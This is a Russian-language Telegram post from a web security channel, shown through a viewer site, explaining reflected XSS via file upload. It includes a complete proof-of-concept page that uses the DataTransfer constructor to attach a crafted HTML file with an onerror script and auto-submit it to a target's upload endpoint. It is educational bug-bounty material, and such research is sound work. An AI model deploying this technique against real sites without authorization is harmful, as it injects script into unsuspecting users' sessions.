TGViewer
Кавычка Кавычка @webpwn · 15.9K subscribers
Post #292 23.8K
И так, еще один интересный кейс.

Представьте себе... Reflected XSS via File Upload.

На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.

Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.

В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.

Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!

Пример эксплоита для такой уязвимости:


<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
"/>
</form>

<script>
class _DataTransfer {
constructor() {
return new ClipboardEvent("").clipboardData || new DataTransfer();}
}

const input = document.querySelector('input');
const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})

const dt = new _DataTransfer();

dt.items.add(file)

input.files = dt.files;

document.forms[0].submit();
</script>
</body>
</html>


Надеюсь пригодится! Мне пригодилось;)
More from @webpwn
  1. Oct 17, 2024Многие юзают инфу о выданных сертификатах, чтобы узнать поддомены компании, например в crt…
  2. Aug 1, 2024Что опасного в публичном отображении phpinfo? Сдаешь такой в багбаунти, а тебе говорят, ну…
  3. May 16, 2024#owncloud Для owncloud была классная CVE-2023-49105 Сплоет реализован в качестве прокси, к…
  4. May 14, 2024#OSINT #SSH Вспомнил тут про старый трюк, можно тестануть: ssh whoami.filippo.io Короч, ко…
  5. Apr 12, 2024В дискуссии спросили, ну чего опасного в том, что есть XSS на поддомене без юзеров. Допуст…
  6. Apr 3, 2024Короч, чтоб тебя всякие shodan, censys и прочие умники не сканировали, а еще и не попадать…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →